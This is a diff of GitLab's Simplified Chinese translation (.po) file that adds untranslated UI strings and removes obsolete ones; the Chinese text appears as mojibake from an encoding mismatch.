-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr "用户映射是一个JSON文档,将å‚与项目的Google Code用户映射到他们将导入GitLab的电å­é‚®ä»¶åœ°å€å’Œç”¨æˆ·åçš„æ–¹å¼ã€‚您å¯ä»¥é€šè¿‡æ›´æ”¹%{code_open}:%{code_close}å³ä¾§çš„值æ¥æ›´æ”¹æ­¤å€¼ã€‚请务必在左侧ä¿ç•™å‘¨å›´çš„åŒå¼•å·ï¼Œå…¶ä»–标点符å·ä»¥åŠç”µå­é‚®ä»¶åœ°å€æˆ–用户å。"
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr "用户映射是å‚与项目的 FogBugz 用户的电å­é‚®ä»¶åœ°å€å’Œç”¨æˆ·å将被导入 GitLab çš„æ–¹å¼ã€‚您å¯ä»¥é€šè¿‡ä»¥ä¸‹è¡¨æ ¼æ¥ä¿®æ”¹æ˜ å°„关系。"
@@ -26644,6 +27254,9 @@ msgstr "中ä½æ•°æ˜¯ä¸€ä¸ªæ•°åˆ—中最中间的值。例如在 3ã€5ã€9 之间ï
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr "æä¾›å˜é‡çš„值超过了%{count}字符é™åˆ¶"
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr "æ¼æ´žå·²ä¸å†è¢«æ£€æµ‹åˆ°ã€‚请在更改其状æ€å‰ç¡®ä¿æ¼æ´žå·²ä¿®å¤æˆ–移除。"
@@ -26731,6 +27344,9 @@ msgstr "当å‰å°šæ— åˆ†äº«ç»™è¯¥ç¾¤ç»„的项目"
msgid "There are no variables yet."
msgstr "还没有å˜é‡ã€‚"
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr "项目的订阅和被订阅数é‡ä¸Šé™ä¸º%{ci_project_subscriptions_limit}。"
@@ -27046,9 +27662,6 @@ msgstr "æ­¤æ交是åˆå¹¶è¯·æ±‚ %{link_to_merge_request} 的一部分。此处å
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr "æ­¤æ交使用%{strong_open}已验è¯çš„%{strong_close}ç­¾å进行签署,并且已验è¯æ交者的电å­é‚®ä»¶å±žäºŽåŒä¸€ç”¨æˆ·ã€‚"
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr "æ­¤æ交使用 <strong>已验è¯</strong> çš„ç­¾å进行签å,并且已验è¯æ交者的电å­é‚®ä»¶å±žäºŽåŒä¸€ç”¨æˆ·ã€‚"
-
msgid "This commit was signed with a different user's verified signature."
msgstr "æ­¤æ交使用其他用户的已验è¯ç­¾å进行签å。"
@@ -27058,9 +27671,6 @@ msgstr "æ­¤æ交已使用ç»è¿‡éªŒè¯çš„ç­¾å进行签署,但%{strong_open}å
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr "æ­¤æ交使用%{strong_open}未ç»éªŒè¯çš„%{strong_close}ç­¾å进行签署。"
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr "æ­¤æ交使用 <strong>未ç»éªŒè¯çš„</strong> ç­¾å进行签å。"
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr "由于%{reason},无法显示此内容。您å¯ä»¥%{options}以代替。"
@@ -27103,6 +27713,9 @@ msgstr "正在部署到此环境"
msgid "This environment is being re-deployed"
msgstr "正在é‡æ–°éƒ¨ç½²åˆ°æ­¤çŽ¯å¢ƒ"
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr "æ­¤å²è¯—çš„å­å²è¯—数目已达最大值。"
@@ -27166,8 +27779,8 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr "此数字为自许å¯è¯å¯åŠ¨ä»¥æ¥ç”¨æˆ·æ•°ç›®çš„最高值。"
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr "此数目为当å‰æ´»è·ƒç”¨æˆ·çš„æ•°é‡ï¼Œ 也是更新许å¯è¯æ—¶éœ€è¦è´­ä¹°çš„最低数é‡ã€‚"
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
msgid "This is your current session"
msgstr "这是您当å‰çš„会è¯"
@@ -27175,9 +27788,6 @@ msgstr "这是您当å‰çš„会è¯"
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr "此议题目å‰è¢«ä»¥ä¸‹è®®é¢˜é˜»æ­¢ï¼š %{issues}。"
-
msgid "This issue is in a child epic of the filtered epic"
msgstr "此议题在筛选å²è¯—çš„å­å²è¯—中"
@@ -27292,8 +27902,8 @@ msgstr "æ­¤åˆå¹¶è¯·æ±‚已关闭。è¦åº”用此建议,请直接编辑此文件
msgid "This merge request is locked."
msgstr "æ­¤åˆå¹¶è¯·æ±‚å·²é”定。"
-msgid "This merge request is still a work in progress."
-msgstr "æ­¤åˆå¹¶è¯·æ±‚ä»åœ¨è¿›è¡Œä¸­ã€‚"
+msgid "This merge request is still a draft."
+msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr "åˆå¹¶è¯·æ±‚å·²åˆå¹¶ã€‚è¦åº”用此建议,请直接编辑此文件。"
@@ -27313,9 +27923,6 @@ msgstr "此页é¢ä¸å¯ç”¨ï¼Œæ‚¨æ— æƒè·¨é¡¹ç›®é˜…读相关信æ¯ã€‚"
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr "此页é¢å‘é€äº†ä¸€ä¸ªæœ‰æ•ˆæ•°æ®ã€‚返回事件页é¢æŸ¥çœ‹æ–°åˆ›å»ºçš„事件。"
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr "æ­¤æµæ°´çº¿æœªä½¿ç”¨%{codeStart}needs%{codeEnd}关键字,因此ä¸èƒ½æ˜¾ç¤ºä¸ºæœ‰å‘无环图(DAG)。"
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr "æ­¤æµæ°´çº¿ä½¿ç”¨äº†åŒ…å«%{b_open}Auto DevOps%{b_close}的预先定义CI/CDé…置。"
@@ -27394,6 +28001,9 @@ msgstr "当低于项目定义的超时时,此超时将优先,并å¯æŽ¥å—英
msgid "This user cannot be unlocked manually from GitLab"
msgstr "无法从GitLab手动解ç¦æ­¤ç”¨æˆ·"
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr "此用户没有有效的%{type}。"
@@ -27439,6 +28049,9 @@ msgstr "找ä¸åˆ°è¦å›žå¤çš„主题"
msgid "Threat Monitoring"
msgstr "å¨èƒç›‘测"
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27739,6 +28352,9 @@ msgstr "超时"
msgid "Timeout connecting to the Google API. Please try again."
msgstr "连接Google API超时。请é‡è¯•ã€‚"
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] "å°æ—¶"
@@ -27753,6 +28369,9 @@ msgstr "秒"
msgid "Tip:"
msgstr "æ示:"
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr "标题"
@@ -27888,8 +28507,8 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
-msgstr "è¦æŸ¥çœ‹æ‰€æœ‰%{scannedResourcesCount}已扫æçš„URL,请下载CSV文件"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
+msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
msgstr ""
@@ -27987,6 +28606,9 @@ msgstr "å¯ç”¨äº†å¤ªå¤šçš„命å空间。您需è¦é€šè¿‡æŽ§åˆ¶å°æˆ–APIæ¥ç®¡ç†
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr "å¯ç”¨äº†å¤ªå¤šçš„项目。您需è¦é€šè¿‡æŽ§åˆ¶å°æˆ–APIæ¥ç®¡ç†å®ƒä»¬ã€‚"
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28329,6 +28951,9 @@ msgstr "无法连接到JiraæœåŠ¡å™¨ã€‚请检查您的Jira集æˆé…置。"
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr "无法将Kubernetes日志编ç è½¬æ¢ä¸ºUTF-8"
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr "无法获å–未扫æ的项目"
@@ -28395,8 +29020,8 @@ msgstr "å–消分é…给评论用户"
msgid "Unassigned"
msgstr "未分é…"
-msgid "Unblock"
-msgstr "解除ç¦ç”¨"
+msgid "Unauthenticated request rate limit"
+msgstr ""
msgid "Undo"
msgstr "撤消"
@@ -28467,11 +29092,11 @@ msgstr "解é”讨论。"
msgid "Unlocks the discussion."
msgstr "解é”讨论。"
-msgid "Unmarked this %{noun} as Work In Progress."
-msgstr "å–消%{noun}的“正在进行中â€æ ‡è®°ã€‚"
+msgid "Unmarked this %{noun} as a draft."
+msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
-msgstr "å–消 %{noun} 的“正在进行中â€æ ‡è®°ã€‚"
+msgid "Unmarks this %{noun} as a draft."
+msgstr ""
msgid "Unreachable"
msgstr "无法访问"
@@ -28665,9 +29290,6 @@ msgstr "å‡çº§æ‚¨çš„订阅计划以使用增强的议题看æ¿ã€‚"
msgid "Upgrade your plan to improve Merge Requests."
msgstr "å‡çº§æ‚¨çš„订阅计划以使用增强的åˆå¹¶è¯·æ±‚。"
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr "在这里上传%{code_open}GoogleCodeProjectHosting.json%{code_close}:"
-
msgid "Upload CSV file"
msgstr "上传CSV文件"
@@ -28686,6 +29308,9 @@ msgstr "通过存储介质上传您的域åè¯ä¹¦"
msgid "Upload a private key for your certificate"
msgstr "为您的è¯ä¹¦ä¸Šä¼ ä¸€ä¸ªç§é’¥"
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr "上传文件"
@@ -28722,6 +29347,9 @@ msgstr "顶"
msgid "Usage"
msgstr "使用情况"
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28812,6 +29440,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr "æ— é™"
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr "使用é‡"
@@ -28959,6 +29590,12 @@ msgstr "用户已æˆåŠŸä»Žé¡¹ç›®ä¸­åˆ é™¤ã€‚"
msgid "User was successfully updated."
msgstr "用户已æˆåŠŸæ›´æ–°ã€‚"
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr "添加"
@@ -29016,6 +29653,9 @@ msgstr "删除%{name}å—?"
msgid "UserList|created %{timeago}"
msgstr "创建于%{timeago}"
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr "活动"
@@ -29061,6 +29701,9 @@ msgstr "个人项目"
msgid "UserProfile|Report abuse"
msgstr "举报滥用行为"
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr "代ç ç‰‡æ®µ"
@@ -29091,6 +29734,9 @@ msgstr "此用户没有星标任何项目"
msgid "UserProfile|This user is blocked"
msgstr "该用户已被ç¦ç”¨"
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr "查看全部"
@@ -29127,6 +29773,9 @@ msgstr "用户åå¯ç”¨ã€‚"
msgid "Username or email"
msgstr "用户å或邮箱"
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr "用户"
@@ -29169,15 +29818,15 @@ msgstr "没有指派人 - %{openingTag}分é…给自己%{closingTag}"
msgid "UsersSelect|Unassigned"
msgstr "未分é…"
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr "使用%{codeStart}needs%{codeEnd}å¯ä½¿ä½œä¸šæ¯”其所在阶段更早è¿è¡Œï¼Œåªè¦å®ƒä»¬çš„ä¾èµ–关系得到满足就å¯ä»¥ï¼Œä»Žè€Œå®žçŽ°æµæ°´çº¿åŠ é€Ÿã€‚"
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr "使用 %{code_start}::%{code_end} 表示 %{link_start}范围标签集%{link_end}"
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr "当缺少加密字段时,使用必è¦çš„加密策略ï¼"
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr "有效期自"
@@ -29247,8 +29896,8 @@ msgstr "å„项本地化设置。"
msgid "Various settings that affect GitLab performance."
msgstr "å½±å“GitLab性能相关设置。"
-msgid "Verification capacity"
-msgstr "验è¯èƒ½åŠ›"
+msgid "Verification concurrency limit"
+msgstr ""
msgid "Verification information"
msgstr "验è¯ä¿¡æ¯"
@@ -29324,6 +29973,9 @@ msgstr "æµè§ˆæ–‡ä»¶ @ "
msgid "View file @ %{commitSha}"
msgstr "查看文件@%{commitSha}"
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr "查看完整仪表æ¿"
@@ -29381,6 +30033,9 @@ msgstr "查看项目标记"
msgid "View replaced file @ "
msgstr "查看替æ¢æ–‡ä»¶ @ "
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr "查看支æŒçš„语言和框架"
@@ -29474,9 +30129,6 @@ msgstr "评审"
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr "步骤1å’Œ2(有时3)由开å‘者在请求å馈之å‰è¿›è¡Œä¸€æ¬¡ã€‚步骤3(å¿…è¦æ—¶)ã€4由审核者æ¯æ¬¡è¿›è¡Œå®¡æŸ¥æ—¶æ‰§è¡Œã€‚"
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr "æ¼æ´ž"
@@ -29582,6 +30234,12 @@ msgstr "%{scannerName} (版本 %{scannerVersion})"
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr "类型"
@@ -29630,11 +30288,8 @@ msgstr "命å空间"
msgid "Vulnerability|Project"
msgstr "项目"
-msgid "Vulnerability|Request"
-msgstr "请求"
-
-msgid "Vulnerability|Response"
-msgstr "å“应"
+msgid "Vulnerability|Request/Response"
+msgstr ""
msgid "Vulnerability|Scanner"
msgstr "扫æ工具"
@@ -29648,6 +30303,9 @@ msgstr "严é‡çº§åˆ«"
msgid "Vulnerability|Status"
msgstr "状æ€"
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr "等待文件加载以å¤åˆ¶å…¶å†…容"
@@ -29672,6 +30330,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr "我们目å‰æ— æ³•èŽ·å–此图表的数æ®ã€‚"
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr "我们无法确定删除å²è¯—的路径"
@@ -29801,6 +30462,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29816,6 +30480,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -29897,12 +30564,18 @@ msgstr "如何形容您最åˆé€‚?"
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr "您的体验水平是多少?"
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr "当部署作业æˆåŠŸæ—¶ï¼Œè·³è¿‡ä»åœ¨ç­‰å¾…的旧部署作业"
@@ -29958,8 +30631,14 @@ msgstr "è°å°†ä½¿ç”¨æ­¤GitLab试用?"
msgid "Wiki"
msgstr "Wiki"
-msgid "Wiki was successfully updated."
-msgstr "Wikiå·²æˆåŠŸæ›´æ–°ã€‚"
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
+msgstr ""
msgid "WikiClone|Clone your wiki"
msgstr "克隆您的 wiki"
@@ -30114,6 +30793,9 @@ msgstr "页é¢ç‰ˆæœ¬"
msgid "Wiki|Pages"
msgstr "页é¢"
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr "标题"
@@ -30195,9 +30877,6 @@ msgstr "是的,关闭议题"
msgid "Yes, delete project"
msgstr "是的,删除项目"
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr "是的,让我将Google Code用户映射到全å或GitLab用户。"
-
msgid "Yesterday"
msgstr "昨天"
@@ -30207,6 +30886,9 @@ msgstr "您"
msgid "You already have pending todo for this alert"
msgstr "您已有针对此警报的待处ç†çš„待办事项"
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr "å³å°†ä»Žæ‚¨çš„实例中删除 %{domain}。此域å将无法å†ç”¨äºŽä»»ä½•Knorigin应用程åºã€‚"
@@ -30252,6 +30934,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr "您无æƒæŽ¨é€åˆ°æ­¤åˆ†æ”¯ã€‚请创建一个新的分支或开å¯åˆå¹¶è¯·æ±‚。"
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr "您ä¸èƒ½å–消与主登录å¸æˆ·çš„å…³è”"
@@ -30411,6 +31096,9 @@ msgstr "您å¯ä»¥æŒ‡å®šæ¯ä¸ªç¾¤ç»„或æ¯ä¸ªé¡¹ç›®çš„通知级别。"
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr "您也å¯ä»¥é€šè¿‡%{linkStart}Lint%{linkEnd}测试.gitlab-ci.yml."
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr "您ä¸èƒ½è®¿é—®åŽŸå§‹æ–‡ä»¶ã€‚请ç¨å€™ã€‚"
@@ -30453,6 +31141,9 @@ msgstr "您没有æƒé™é€€å‡º%{namespaceType}。"
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr "您无æƒè¿è¡ŒWeb终端。请è”系项目管ç†å‘˜ã€‚"
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr "您没有æƒé™è¿›è¡Œå¯¼å…¥ã€‚"
@@ -30531,6 +31222,12 @@ msgstr "您没有足够的æƒé™ä¸ºè¿™ä¸ªè­¦æŠ¥åˆ›å»ºå¾…办事项"
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30615,9 +31312,6 @@ msgstr "您需è¦åŒæ—¶æŒ‡å®šè®¿é—®ä»¤ç‰Œå’Œä¸»æœºURL。"
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr "您需è¦ä¸Šä¼ GitLab项目导出文件(以.gz结尾)."
-msgid "You need to upload a Google Takeout archive."
-msgstr "您需è¦ä¸Šä¼ Google Takeout文件。"
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30660,13 +31354,10 @@ msgstr "åªæŽ¥æ”¶è¯„论中æåŠ(@)您的通知"
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr "您将无法创建新项目,因为您已ç»è¾¾åˆ°äº†é¡¹ç›®æ•°é™åˆ¶ã€‚"
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr "在账å·ä¸­ %{set_password_link} 之å‰å°†æ— æ³•é€šè¿‡ %{protocol} 拉å–或推é€ä»£ç ã€‚"
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
-msgstr "在您的个人资料中添加SSH密钥之å‰ï¼Œæ‚¨ä¸èƒ½é€šè¿‡SSHæ¥æ‹‰å–或推é€é¡¹ç›®ä»£ç ã€‚"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
+msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30696,9 +31387,6 @@ msgstr "您ä¸èƒ½ç›´æŽ¥å¯¹æ­¤é¡¹ç›®è¿›è¡Œæ›´æ”¹ã€‚此项目的派生项目已ç»
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr "您ä¸èƒ½ç›´æŽ¥å¯¹æ­¤é¡¹ç›®è¿›è¡Œæ›´æ”¹ã€‚此项目的派生项目正在创建,您å¯ä»¥åœ¨æ´¾ç”Ÿé¡¹ç›®ä¸­è¿›è¡Œæ›´æ”¹ï¼Œä»¥ä¾¿æ交åˆå¹¶è¯·æ±‚。"
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr "您åªèƒ½åœ¨ä¿¡æ¯åŠ¨æ€ä¸­çœ‹åˆ° %{startTag}其他活动%{endTag} 。è¦æ·»åŠ è¯„论,请切æ¢åˆ°ä»¥ä¸‹é€‰é¡¹ä¹‹ä¸€ã€‚"
-
msgid "You're receiving this email because of your account on %{host}."
msgstr "您收到这å°ç”µå­é‚®ä»¶ï¼Œæ˜¯å› ä¸ºæ‚¨åœ¨ %{host} 拥有å¸æˆ·ã€‚"
@@ -30717,6 +31405,9 @@ msgstr "您收到此电å­é‚®ä»¶æ˜¯å› ä¸º%{host}上æåŠäº†æ‚¨ã€‚"
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr "您已ç»ä½¿ç”¨ä¸€æ¬¡å¯†ç éªŒè¯å™¨å¯ç”¨äº†åŒé‡è®¤è¯ã€‚如果您è¦æ³¨å†Œä¸åŒçš„设备,您必须先ç¦ç”¨åŒé‡è®¤è¯ã€‚"
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr "YouTube"
@@ -30741,6 +31432,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr "您从项目%{project_name}(%{project_url})导出包å«%{written_count}çš„CSV文件已作为附件添加到此电å­é‚®ä»¶ä¸­ã€‚"
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr "您的æ交电å­é‚®ä»¶å°†ç”¨äºŽåŸºäºŽwebçš„æ“作,例如编辑与åˆå¹¶ã€‚"
@@ -30753,6 +31447,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr "您的GPG密钥 (%{count})"
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr "您的GitLab群组"
@@ -30894,6 +31591,9 @@ msgstr "您的议题正在导入。完æˆåŽï¼Œæ‚¨å°†æ”¶åˆ°ä¸€å°ç¡®è®¤ç”µå­é‚®
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr "您的议题将在åŽå°å¯¼å…¥ã€‚完æˆåŽï¼Œæ‚¨å°†æ”¶åˆ°ä¸€å°ç¡®è®¤ç”µå­é‚®ä»¶ã€‚"
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr "您的许å¯è¯æœ‰æ•ˆæœŸè‡ª"
@@ -30942,6 +31642,12 @@ msgstr "您的访问请求无法处ç†: %{error_meesage}"
msgid "Your request for access has been queued for review."
msgstr "您的访问请求已进入审核队列。"
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr "ä½ çš„å馈已被记录。"
@@ -30951,6 +31657,9 @@ msgstr "您的æœç´¢æ²¡æœ‰åŒ¹é…任何æ交。"
msgid "Your search didn't match any commits. Try a different query."
msgstr "您的æœç´¢ä¸ŽæœªåŒ¹é…任何æ交。请å°è¯•å…¶ä»–查询。"
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr "您的订阅已过期ï¼"
@@ -30960,6 +31669,9 @@ msgstr "您的订阅已é™çº§."
msgid "Your subscription will expire in %{remaining_days}."
msgstr "您的订阅将在%{remaining_days}åŽè¿‡æœŸ."
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr "已添加Zoom会议"
@@ -31129,14 +31841,11 @@ msgstr "%{reportType}:å‘生一个错误"
msgid "ciReport|%{sameNum} same"
msgstr "相åŒ%{sameNum}"
-msgid "ciReport|(errors when loading results)"
-msgstr "(加载结果时出错)"
-
-msgid "ciReport|(is loading)"
-msgstr "(加载中)"
+msgid "ciReport|: Loading resulted in an error"
+msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
-msgstr "(正在加载,加载结果时出错)"
+msgid "ciReport|API Fuzzing"
+msgstr ""
msgid "ciReport|All projects"
msgstr "所有项目"
@@ -31301,6 +32010,12 @@ msgstr[0] "已用于 %{packagesString} 和 %{lastPackage}"
msgid "ciReport|View full report"
msgstr "查看完整报告"
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr "已关闭议题"
@@ -31319,9 +32034,6 @@ msgstr "æ交 %{commit_id}"
msgid "committed"
msgstr "å·²æ交"
-msgid "connecting"
-msgstr "连接中"
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr "container_nameåªèƒ½åŒ…å«å°å†™å­—æ¯ï¼Œæ•°å­—,'-'å’Œ'.',并且必须以字æ¯å’Œæ•°å­—字符开头和结尾"
@@ -31337,9 +32049,6 @@ msgstr "已创建"
msgid "created %{timeAgo}"
msgstr "创建于%{timeAgo}"
-msgid "customize"
-msgstr "自定义"
-
msgid "data"
msgstr "æ•°æ®"
@@ -31377,9 +32086,6 @@ msgstr "ä¸å­˜åœ¨"
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr "当å‰æ‰©å±•åä¸æ”¯æŒã€‚åªæ”¯æŒ%{extension_list}"
-msgid "done"
-msgstr "完æˆ"
-
msgid "download it"
msgstr "下载"
@@ -31466,6 +32172,9 @@ msgstr "于%{ref}"
msgid "for this project"
msgstr "对于这个项目"
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr "派生此项目"
@@ -31491,6 +32200,9 @@ msgstr "å·²ç»é“¾æŽ¥åˆ°å¦ä¸€ä¸ªæ¼æ´ž"
msgid "has already been taken"
msgstr "已被使用"
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr "帮助"
@@ -31512,8 +32224,8 @@ msgstr "身份模拟令牌"
msgid "import flow"
msgstr "导入æµç¨‹"
-msgid "importing"
-msgstr "导入中"
+msgid "in"
+msgstr ""
msgid "in group %{link_to_group}"
msgstr "在 %{link_to_group} 群组"
@@ -32039,6 +32751,9 @@ msgstr ""
msgid "no one can merge"
msgstr "没有人å¯ä»¥åˆå¹¶"
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr "æ— "
@@ -32066,6 +32781,9 @@ msgstr "按计划进行"
